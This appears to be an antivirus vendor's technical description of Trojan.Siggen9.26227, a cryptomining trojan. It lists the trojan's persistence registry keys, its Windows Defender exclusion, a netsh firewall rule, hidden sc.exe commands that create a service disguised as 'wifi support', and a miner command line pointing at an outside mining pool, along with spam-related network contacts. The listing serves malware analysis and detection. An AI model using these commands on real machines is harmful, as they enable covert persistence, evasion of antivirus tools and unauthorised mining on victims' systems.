Trojan.Siggen9.26227

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\wcfrchmm] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\wcfrchmm] 'ImagePath' = '%WINDIR%\SysWOW64\wcfrchmm\sedrcmuo.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\wcfrchmm] 'ImagePath' = '%WINDIR%\SysWOW64\wcfrchmm\sedrcmuo.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\wcfrchmm' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\sedrcmuo.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\sedrcmuo.exe to %WINDIR%\syswow64\wcfrchmm\sedrcmuo.exe

Deletes itself.

Network activity

TCP

HTTP GET requests

http://www.google.com/

'93.##9.69.109':425

'46.#8.66.2':425

'um####.hinet.net':25

'ma##.#osanacid.com':25

'go###e.co.uk':443

'google.com':443

'ms#####p-mx2.hinet.net':25

'ps####ftball.com':25

'mx#########st-2.prod.hydra.sophos.com':25

'46.#.52.109':425

'43.#31.4.7':443

'eu#######nbound-1.mimecast.com':25

'qu####buxton.co.uk':25

'alt1.aspmx.l.google.com':25

'ro#####dnicholson.co.uk':25

'sm##.#omecall.co.uk':25

'go###e.com.ua':443

'wc######.as.weichuan.com.tw':25

'ho##.#an-elio.com':25

'ms#####.##c.protection.outlook.com':25

'mx####.##il.gm0.yahoodns.net':25

'ap#.###.#rotection.outlook.com':25

'eu#.###.#rotection.outlook.com':25

'17#.#.114.177':425

'18#.#65.238.150':425

'78.#1.67.23':425

'mi####.bittubeapp.com':13333

'ma##.vuzv.sk':25

'aspmx.l.google.com':25

'mt##.##0.yahoodns.net':25

'ho#########.olc.protection.outlook.com':25

'mx###.##il.am0.yahoodns.net':25

'mx#.##bygroup.sk':25

'ps########s.com.mx3.spamsmack.com':25

'sm##.#vt.stuba.sk':25

'mx#.##narobase.net':25

'85.##4.134.88':481

'ma##.tecdev.it':25

'ma##.#seglobal.com':25

'mx.##nanet.com':25

'wi#######1.hostmanagement.net':25

'mx.###tsubasa.com':25

'gw####.fortimail.com':25

'za########bound-2.mimecast.co.za':25

'mx.####ail.nifcloud.com':25

'mx#.pstu.ru':25

'ma##.rsmu.ru':25

'ro######relliturismo.com.br':25

'mx#.##banciuniv.edu':25

'ra###la.info':25

'alt2.gmail-smtp-in.l.google.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK nu###ta.com.bd
DNS ASK mx#########st-2.prod.hydra.sophos.com
DNS ASK rt####hitects.com
DNS ASK re###.rosan.com.ua
DNS ASK ro###.com.ua
DNS ASK ms#####p-mx2.hinet.net
DNS ASK ms##.hinet.net
DNS ASK ro####joias.com.br
DNS ASK go###e.co.uk
DNS ASK ma##.#osanacid.com
DNS ASK ro###acid.com
DNS ASK um####.hinet.net
DNS ASK um###.hinet.net
DNS ASK ra###la.info
DNS ASK google.com
DNS ASK nn##.onyx.net
DNS ASK ma##.rsmu.ru
DNS ASK rs#u.ru
DNS ASK mx#.pstu.ru
DNS ASK ps##.ac.ru
DNS ASK ro######relliturismo.com.br
DNS ASK ho##.#an-elio.com
DNS ASK rs###c.com.br
DNS ASK ce##.#culine.net
DNS ASK ro###usic.cz
DNS ASK ma##.#ovaradio.net
DNS ASK no###adio.net
DNS ASK mx.##nafos.com
DNS ASK ha##net.net
DNS ASK ma##.#uvista.com.bd
DNS ASK eu#######nbound-1.mimecast.com
DNS ASK gm##l.com
DNS ASK li##.com.au
DNS ASK ms#####.##c.protection.outlook.com
DNS ASK ms#.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK ao#.com
DNS ASK iw####.cniteam.com
DNS ASK br##ht.net
DNS ASK pk#####.#sg.pkvw.co.charter.net
DNS ASK ro###unner.com
DNS ASK wc######.as.weichuan.com.tw
DNS ASK go###e.com.ua
DNS ASK sm##.#omecall.co.uk
DNS ASK we###uan.com.tw
DNS ASK rt###r.com.br
DNS ASK sm###in.sfr.fr
DNS ASK ne#f.fr
DNS ASK ba###inday.net
DNS ASK mx##.mail.com
DNS ASK my##lf.com
DNS ASK ro##nd.net
DNS ASK ho##ail.fr
DNS ASK alt1.aspmx.l.google.com
DNS ASK au##an.it
DNS ASK ro###dic.com
DNS ASK ro##nder.nu
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK li#e.nl
DNS ASK ro###decor.com
DNS ASK ro##nda.org
DNS ASK ap#.###.#rotection.outlook.com
DNS ASK ro#####dnicholson.co.uk
DNS ASK bo###italia.it
DNS ASK po####ort.com.br
DNS ASK st##a.sk
DNS ASK co##ag.sk
DNS ASK cb#.##rusfree.cz
DNS ASK ce##rum.sk
DNS ASK sm####n.libero.it
DNS ASK li##ro.it
DNS ASK ps########s.com.mx3.spamsmack.com
DNS ASK ps###rvices.com
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK ya##o.co.uk
DNS ASK ps####ftball.com
DNS ASK mx#######801.gslb.pphosted.com
DNS ASK ns##.edu
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK ho##ail.com
DNS ASK mx#.#eznam.cz
DNS ASK se##am.cz
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK aspmx.l.google.com
DNS ASK qu#####uryschool.org
DNS ASK mi####.bittubeapp.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK mt##.##0.yahoodns.net
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK ya##o.com
DNS ASK ma##.vuzv.sk
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK vu#v.sk
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK mx#.##bygroup.sk
DNS ASK sm##.#vt.stuba.sk
DNS ASK ps##s.co.jp
DNS ASK co##te.net
DNS ASK ro#####dcoppen.co.uk
DNS ASK ro####anchez.com
DNS ASK za########bound-2.mimecast.co.za
DNS ASK qu####casino.co.za
DNS ASK li######.#lc.protection.outlook.com
DNS ASK li##.com
DNS ASK ro###ruiz.com
DNS ASK i-####.gzuni.com
DNS ASK gz##i.com
DNS ASK wi#######1.hostmanagement.net
DNS ASK qu###scards.com
DNS ASK ti##ali.it
DNS ASK gw####.fortimail.com
DNS ASK ec####.eculine.net
DNS ASK 3m##sto.net
DNS ASK qu####buxton.co.uk
DNS ASK ma##.#seglobal.com
DNS ASK as###obal.com
DNS ASK et###.#ail.tiscali.it
DNS ASK ti###linet.it
DNS ASK mx#.##banciuniv.edu
DNS ASK sa###ciuniv.edu
DNS ASK mx.###tsubasa.com
DNS ASK ps###ubasa.com
DNS ASK ma##.tecdev.it
DNS ASK pe###rmer.it
DNS ASK mx.##nanet.com
DNS ASK gw##.sina.net
DNS ASK mx#.##narobase.net
DNS ASK mx.####ail.nifcloud.com
DNS ASK alt2.gmail-smtp-in.l.google.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\wcfrchmm\sedrcmuo.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wcfrchmm\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\sedrcmuo.exe" %WINDIR%\SysWOW64\wcfrchmm\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create wcfrchmm binPath= "%WINDIR%\SysWOW64\wcfrchmm\sedrcmuo.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description wcfrchmm "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start wcfrchmm' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\wcfrchmm\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\sedrcmuo.exe" %WINDIR%\SysWOW64\wcfrchmm\
'%WINDIR%\syswow64\sc.exe' create wcfrchmm binPath= "%WINDIR%\SysWOW64\wcfrchmm\sedrcmuo.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description wcfrchmm "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start wcfrchmm
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3GJeLpK9P2RqEpCXWpirL9u7wrGwoPmTJTemNtc7QpSTE24ybGdgtBmXSxhkTitLPyRh8sVz7qmM9TYnhXoZ6G1kARcnhMT.60000 -p x -k

技术

术语

教育培训

误区

Technical Information

Curing recommendations

Free trial